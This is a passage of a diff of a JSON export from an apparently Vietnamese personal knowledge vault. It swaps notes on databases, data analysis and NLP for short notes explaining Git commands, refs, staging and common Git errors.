"[[HEAD là commit hiện tại]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:21:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "a4" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dp" }, { - "Tiêu đề": "Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Cơ sở dữ liệu/Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc", + "Tiêu đề": "Git không biết gì về folder", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/Git không biết gì về folder", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tuy nhiên, [[Khó có thể copy dữ liệu dạng block giữa các app khác nhau]]\r\nNguồn:: [[Maggie Appleton]], [https://maggieappleton.com/block-data](https://maggieappleton.com/block-data \"https://maggieappleton.com/block-data\")\r\n", + "Toàn bộ nội dung": "Thêm một tệp rỗng vào thư mục để Git hiểu là nó không rỗng", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "a5" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T08:45:00.000Z", + "id": "dq" }, { - "Tiêu đề": "Khó có thể copy dữ liệu dạng block giữa các app khác nhau", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Cơ sở dữ liệu/Khó có thể copy dữ liệu dạng block giữa các app khác nhau", + "Tiêu đề": "git log giúp xem lịch sử các commit", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/git log giúp xem lịch sử các commit", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Maggie Appleton]], [https://maggieappleton.com/block-data](https://maggieappleton.com/block-data \"https://maggieappleton.com/block-data\")\r\n", + "Toàn bộ nội dung": "| Lệnh | Ý nghĩa |\r\n| --------------------------- | -------------------------------------------------- |\r\n| `git log` | Xem các danh sách các commit |\r\n| `git log --oneline` | Chỉ xem tên |\r\n| `git log --oneline --graph` | Xem sơ đồ các commit |\r\n| `git log ` | Xem danh sách các commit từ `` đó về trước |\r\n\r\n[[git reflog giúp xem lại các ref không có trong lịch sử commit]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "a6" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dr" }, { - "Tiêu đề": "Mở rộng quy mô bằng việc nâng cấp RAM, CPU dễ hơn với SQL. Mở rộng quy mô bằng việc chạy cùng lúc nhiều máy dễ hơn với NoSQL", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Cơ sở dữ liệu/Mở rộng quy mô bằng việc nâng cấp RAM, CPU dễ hơn với SQL. Mở rộng quy mô bằng việc chạy cùng lúc nhiều máy dễ hơn với NoSQL", + "Tiêu đề": "git reflog giúp xem lại các ref không có trong lịch sử commit", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/git reflog giúp xem lại các ref không có trong lịch sử commit", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giả sử ta cần nâng một cái tủ nặng. Nâng cấp RAM, CPU giống như phát triển cơ bắp cho bản thân để tự mình vác được nó. Chạy cùng lúc nhiều máy giống như có thêm nhiều người cùng vác nó.\r\n\r\nNguồn:: ![SQL vs NoSQL | What's the Difference? - YouTube](https://youtu.be/Pf-9pjJK1e0?si=a8naSctrRZdJEMFW)", + "Toàn bộ nội dung": "[[Ref là hệ thống đặt tên các object]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "a7" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "ds" }, { - "Tiêu đề": "Việc phân loại SQL và NoSQL giống như việc phân loại người dị tính hợp giới và người không dị tính hợp giới, hoặc phân loại người Kinh và người không Kinh", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Cơ sở dữ liệu/Việc phân loại SQL và NoSQL giống như việc phân loại người dị tính hợp giới và người không dị tính hợp giới, hoặc phân loại người Kinh và người không Kinh", + "Tiêu đề": "HEAD là commit hiện tại", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/HEAD là commit hiện tại", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Các loại cơ sở dữ liệu đều là để đạt được mục đích nào đó. Các mục đích này tương đương với nhau. Nhưng việc cơ sở dữ liệu dạng bảng phổ biến rộng rãi làm cho tất cả những dạng còn lại bị gom chung vào một cái tên, dù \r\n\r\nCSDL được chia ra thành SQL và NoSQL. NoSQL được phân loại ra làm 4 dạng. Nhưng đáng lẽ nên chia CSLD ra thành 5 dạng\r\n\r\n![Types of Databases: Relational vs. Columnar vs. Document vs. Graph vs. Vector vs. Key-value & more - YouTube](https://youtu.be/VfcRxtBKI54?si=dyhbK0LauGzxvGcW)\r\n\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "a8" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dt" }, { - "Tiêu đề": "Ứng dụng quản lý là một dạng giao diện giữa người dùng và cơ sở dữ liệu", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Cơ sở dữ liệu/Ứng dụng quản lý là một dạng giao diện giữa người dùng và cơ sở dữ liệu", + "Tiêu đề": "Reset soft dùng để gộp nhiều commit lại với nhau. Reset hard dùng để xoá bỏ những gì đã ghi sau commit được chọn", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/Reset soft dùng để gộp nhiều commit lại với nhau. Reset hard dùng để xoá bỏ những gì đã ghi sau commit được chọn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ứng dụng quản lý (Line-of-Business, LOB) là loại phần mềm phổ biến nhất đối với doanh nghiệp. Về bản chất, có thể hình dung ứng dụng quản lý là một dạng giao diện giữa người dùng và cơ sở dữ liệu.\r\n\r\nCác công việc chính mà một ứng dụng quản lý thực hiện là các thao tác với dữ liệu, bao gồm tạo mới (Create), đọc (Retrieve), cập nhật (Update), và xóa (Delete). Vì vậy, các ứng dụng quản lý cũng thường được gọi là những ứng dụng CRUD.\r\n\r\nVới đặc điểm trên, khi phát triển một ứng dụng quản lý, nhiệm vụ chính mà lập trình viên phải thực hiện là xây dựng các screen giúp người dùng thực hiện các tác vụ CRUD trên dữ liệu. Thông thường, mỗi domain class/entity sẽ đòi hỏi một nhóm screen thực hiện các tác vụ CRUD trên class/entity đó.\r\n\r\nĐiều này dẫn đến việc phát triển ứng dụng quản lý đều thực hiện theo một khuôn mẫu chung, từ giao diện người dùng đến tương tác với dữ liệu.\r\n\r\nSự khác biệt lớn nhất giữa các ứng dụng quản lý có lẽ là ở bài toán / nghiệp vụ cần giải quyết chứ không nằm ở yếu tố kỹ thuật.\r\n\r\nDo đặc thù gần như mọi thứ đi theo khuôn mẫu chung, các hãng hoặc các nhóm phát triển phần mềm thường xây dựng ra các công cụ giúp tự động hóa một phần hoặc toàn phần việc tạo ra các ứng dụng quản lý.\r\n\r\nNguồn:: [[tuhocict]], [Radzen Blazor - Công cụ phát triển nhanh ứng dụng quản lý | Tự học ICT](https://tuhocict.com/radzen-blazor-cong-cu-phat-trien-nhanh-ung-dung-quan-ly/)\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "a9" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "du" }, { - "Tiêu đề": "Cách để AI không bị ảo giác là kêu nó viết query cho Wikidata", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Cách để AI không bị ảo giác là kêu nó viết query cho Wikidata", + "Tiêu đề": "stash pop nếu gặp conflict sẽ không pop", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/stash pop nếu gặp conflict sẽ không pop", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![The Future of Knowledge Graphs in a World of Large Language Models - YouTube](https://youtu.be/WqYBx2gB6vA)\r\n", + "Toàn bộ nội dung": "Nguồn:: [‘git stash pop’ considered harmful | Coding Killed the Cat](https://codingkilledthecat.wordpress.com/2012/04/27/git-stash-pop-considered-harmful/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aA" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dv" }, { - "Tiêu đề": "Numpy và Pandas", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Numpy và Pandas", + "Tiêu đề": "Thứ ta đang trực tiếp chỉnh sửa mà ta tưởng là dữ liệu của mình thực chất là thứ được vay mượn từ commit", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/Thứ ta đang trực tiếp chỉnh sửa mà ta tưởng là dữ liệu của mình thực chất là thứ được vay mượn từ commit", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[IBM]], \r\n", + "Toàn bộ nội dung": "Nguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aB" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dw" }, { - "Tiêu đề": "Phân tích dữ liệu", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích dữ liệu", + "Tiêu đề": "Việc commit giúp ta phá code mà không sợ gì, giống như có đồ bảo hộ rồi thì tha hồ nghịch điện cao thế", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/Việc commit giúp ta phá code mà không sợ gì, giống như có đồ bảo hộ rồi thì tha hồ nghịch điện cao thế", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chương trình GCC nhắm đến 2 đối tượng chính là: \n1. Các sinh viên đang học các ngành nghề có liên quan đến công nghệ Số. \n2. Người đang tìm việc có nhu cầu bổ sung kiến thức về công nghệ Số mới để phát triển kỹ năng nghề nghiệp của mình. \nNgoài ra khóa học cũng sẽ dành cho các giảng viên của các trường và nhân viên tại các công ty có nhu cầu tìm hiểu và tiếp thu thêm kiến thức về công nghệ Số.\n[Google - Courses](https://nhantaiso.nic.gov.vn/tai-lieu-bo-tro)\n\n```dataview\nLIST rows.file.link\nFROM \"📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\n", + "Toàn bộ nội dung": "Lý do:: [[Thứ ta đang trực tiếp chỉnh sửa mà ta tưởng là dữ liệu của mình thực chất là thứ được vay mượn từ commit]]\nKhi nào biết cách sửa rồi thì chỉ cần `git reset --hard` là xong\n\nChính vì như vậy, nên [[Git giúp ta du hành thời gian]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-12-01T06:04:00.000Z", - "Ngày cập nhật": "2024-08-25T13:51:00.000Z", - "id": "aC" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dx" }, { - "Tiêu đề": "Concept map, knowledge graph", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích mạng lưới/Concept map, knowledge graph", + "Tiêu đề": "~ và ^ là để chỉ các commit trước đó", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Commit/~ và dấu mũ là để chỉ các commit trước đó", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "```\nG H I J\n \\ / \\ /\n D E F\n \\ | / \\\n \\ | / |\n \\|/ |\n B C\n \\ /\n \\ /\n A\n\nA = = A^0\nB = A^ = A^1 = A~1\nC = A^2\nD = A^^ = A^1^1 = A~2\nE = B^2 = A^^2\nF = B^3 = A^^3\nG = A^^^ = A^1^1^1 = A~3\nH = D^2 = B^^2 = A^^^2 = A~2^2\nI = F^ = B^3^ = A^^3^\nJ = F^2 = B^3^2 = A^^3^2\n```\n\n\nLưu ý: `A~2 = D`, nhưng `A^2 = C`\n\n> [!tip] Cách nhớ\n> - `~` nằm ngang nên nó chỉ đi thẳng\n> - `^` có sự hội tụ giữa hai đường nên nó là dành cho merge\n\n[![Illustration of relative references in Git](https://i.stack.imgur.com/Ye1H7.jpg)](https://i.stack.imgur.com/Ye1H7.jpg)\n\n[[HEAD là commit hiện tại]]. [[@ là viết tắt của HEAD]]\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [What's the difference between HEAD^ and HEAD\\~ in Git? - Stack Overflow](https://stackoverflow.com/q/2221658/3416774)\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aD" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "dy" }, { - "Tiêu đề": "The Semantic Web is essentially a distributed-objects framework", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích mạng lưới/The Semantic Web is essentially a distributed-objects framework", + "Tiêu đề": "Các lệnh Git thường dùng. Các lỗi Git thường gặp", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Các lệnh Git thường dùng. Các lỗi Git thường gặp", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Wikipedia]], [Object (computer science)](https://en.wikipedia.org/wiki/Object_(computer_science))\r\n", + "Toàn bộ nội dung": "# Các lệnh Git thường dùng\n## Xem danh sách tất cả commit\n```bash\ngit log --oneline\n```\n## Xem danh sách tất cả file trong commit mình chọn\n```bash\ngit diff-tree --no-commit-id --name-only -r \n```\n\n## Đọc nội dung một file trong một commit cũ\n```\ngit show :/path/to/file\n```\nNếu muốn mở trong vim thì:\n```\ngit show :/path/to/file | vim -\n```\nNhược điểm của việc này là vì vim đọc trực tiếp từ stdin, nên không biết định dạng file là gì để mà tô màu. Có thể sửa việc này bằng:\n```\ngit show :/path/to/file | vim -c 'set filetype=python' -\n```\n\n\n# Các lỗi Git thường gặp \n## Quên add\n## Không thấy folder mình tạo được add\nLý do:: [[Git không biết gì về folder]]\n## Thêm file vào .gitignore rồi mà vẫn không thấy file bị ignore\n## Lỡ commit file nặng\n```\ngit filter-branch --force --index-filter 'git rm -r --cached --ignore-unmatch bigfile.txt' --prune-empty --tag-name-filter cat -- --all\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aE" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T08:43:00.000Z", + "id": "dz" }, { - "Tiêu đề": "Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích mạng lưới/Thế mạnh của RDF triplestore là tạo ra những liên kết mới không có sẵn lúc nhập vào", + "Tiêu đề": "Facebook chuyển sang Mercurial vì nhóm phát triển Git năm 2012 không mặn mà với monorepo", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Facebook chuyển sang Mercurial vì nhóm phát triển Git năm 2012 không mặn mà với monorepo", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [A Skeptics Guide to Graph Databases - David Bechberger - YouTube](https://youtu.be/yOYodfN84N4?t=2095)\r\n", + "Toàn bộ nội dung": "Nguồn:: ![Why doesn't Facebook use git? - YouTube](https://youtu.be/0BNVkMoLJxc?si=LieM__1vPX504zHK)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aF" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "d-" }, { - "Tiêu đề": "Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Các công cụ lắng nghe xã hội có sẵn giống như một ảnh chụp màn hình nhanh về những gì đang diễn ra", + "Tiêu đề": "diff does not take into account untracked files", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/diff does not take into account untracked files", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![](https://youtu.be/ZYTXc2fK-JY)\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aG" + "Ngày tạo": "2023-09-05T17:04:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "d_" }, { - "Tiêu đề": "Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Feature Extraction, Text Representation, Text Extraction, Text Vectorization là những cái tên khác nhau cho cùng một thứ", + "Tiêu đề": "git diff", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/git diff", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [A Complete Guide on Feature Extraction Techniques](https://www.analyticsvidhya.com/blog/2022/05/a-complete-guide-on-feature-extraction-techniques/)\r\n", + "Toàn bộ nội dung": "```bash\r\ngit diff -- \r\n```\r\n```bash\r\ngit diff : :\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aH" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "e0" }, { - "Tiêu đề": "Gensim tập trung vào mô hình chủ đề", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Gensim tập trung vào mô hình chủ đề", + "Tiêu đề": "git status giúp xem những file nào đã được vào stage", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/git status giúp xem những file nào đã được vào stage", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Có rất nhiều thư viện về học máy, như NLTK, SpaCy, Gensim, scikit-learn, TensorFlow, Hugging Face, v.v. Tuy nhiên, Gensim. Theo lời tác giả:\r\n>By now, Gensim is—to my knowledge—the most robust, efficient and hassle-free piece of software to realize unsupervised semantic modelling from plain text. It stands in contrast to brittle homework-assignment-implementations that do not scale on one hand, and robust java-esque projects that take forever just to run “hello world”.\r\n\r\nGensim = Generate Similar\r\n\r\nTriết lý của Gensim:\r\n- **Practicality** – as industry experts, we focus on proven, battle-hardened algorithms to solve real industry problems. More focus on engineering, less on academia.\r\n- **Memory independence** – there is no need for the whole training corpus to reside fully in RAM at any one time. Can process large, web-scale corpora using data streaming.\r\n- **Performance** – highly optimized implementations of popular vector space algorithms using C, BLAS and memory-mapping.\r\n\r\nNguồn:: [What is Gensim? — gensim](https://radimrehurek.com/gensim/intro.html#what-is-gensim)\r\n", + "Toàn bộ nội dung": "```\r\nChanges to be committed:\r\n (use \"git restore --staged ...\" to unstage)\r\n```\r\n\r\nPhần này liệt kê các file đã được staged. [[Staged là chuẩn bị được commit]]. Dòng dưới hướng dẫn cách loại bỏ một file ra khỏi stage: dùng `git restore --staged ...`\r\n\r\n[[Stage, cache, index là những cái tên khác nhau cho cùng một thứ]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aI" + "Ngày tạo": "2023-09-05T17:04:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "e1" }, { - "Tiêu đề": "Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào", + "Tiêu đề": "ls-files chỉ làm việc với index", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/ls-files chỉ làm việc với index", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [WE1S – A 4Humanities Project](https://we1s.ucsb.edu/)\r\n", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aJ" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "e2" }, { - "Tiêu đề": "Bản chất của mô hình chủ đề là tô màu cho văn bản và từ", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/Bản chất của mô hình chủ đề là tô màu cho văn bản và từ", + "Tiêu đề": "pathspecs giúp chọn đường dẫn một cách linh hoạt và tinh tế hơn", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/pathspecs giúp chọn đường dẫn một cách linh hoạt và tinh tế hơn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Cách tô:\r\n1. Mỗi văn bản có càng ít màu càng tốt\r\n2. Mỗi từ có càng ít màu càng tốt\r\n\r\nVới mỗi từ chưa được tô màu, thuật toán Gibbs sẽ thống kê các màu đã được tô trước, sau đó chọi phi tiêu vào để lấy màu theo xác suất. Như vậy màu nào thoả điều kiện thì sẽ có xác suất to hơn, nhưng vẫn không loại trừ những cái nhỏ hơn\r\n\r\n![1](https://i.stack.imgur.com/BfTJjm.png)\r\n\r\nNguồn:: ![Training Latent Dirichlet Allocation: Gibbs Sampling](https://www.youtube.com/watch?v=BaM1uiCpj_E&t=452s)\r\n", + "Toàn bộ nội dung": "Nguồn:: [Git Pathspecs and How to Use Them | CSS-Tricks - CSS-Tricks](https://css-tricks.com/git-pathspecs-and-how-to-use-them/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aK" + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "e3" }, { - "Tiêu đề": "Mô hình bản chất là một phép biến đổi không gian vector", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/Mô hình bản chất là một phép biến đổi không gian vector", + "Tiêu đề": "git add -A làm cho index giống như ở working directory. git commit -am chỉ áp dụng cho những file đã có sẵn trong index", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/Stage, index, cache/git add -A làm cho index giống như ở working directory. git commit -am chỉ áp dụng cho những file đã có sẵn trong index", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[tf-idf giúp xác định độ quan trọng của một từ trong một văn bản trong bộ văn bản|tf-idf]] là một mô hình như vậy\r\nNguồn:: [Core Concepts — gensim](https://radimrehurek.com/gensim/auto_examples/core/run_core_concepts.html#model)\r\n", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:43:00.000Z", - "id": "aL" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-31T13:49:00.000Z", + "id": "e4" }, { - "Tiêu đề": "Mô hình chủ đề rất hữu dụng cho việc diễn giải", - "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Mô hình/Mô hình chủ đề rất hữu dụng cho việc diễn giải", + "Tiêu đề": "Stage, cache, index là những cái tên khác nhau cho cùng một thứ", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/File/Stage, index, cache/Stage, cache, index là những cái tên khác nhau cho cùng một thứ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "You'll still see many researchers in digital humanities using topic models, for instance, because they care about telling a good story and understanding their data.\r\nNguồn:: [Jordan Boyd-Graber: Faq](http://users.umiacs.umd.edu/~jbg/static/faq.html)\r\n[[Nhân văn số sử dụng mô hình chủ đề rất nhiều]] \r\n[[Gensim tập trung vào mô hình chủ đề]] 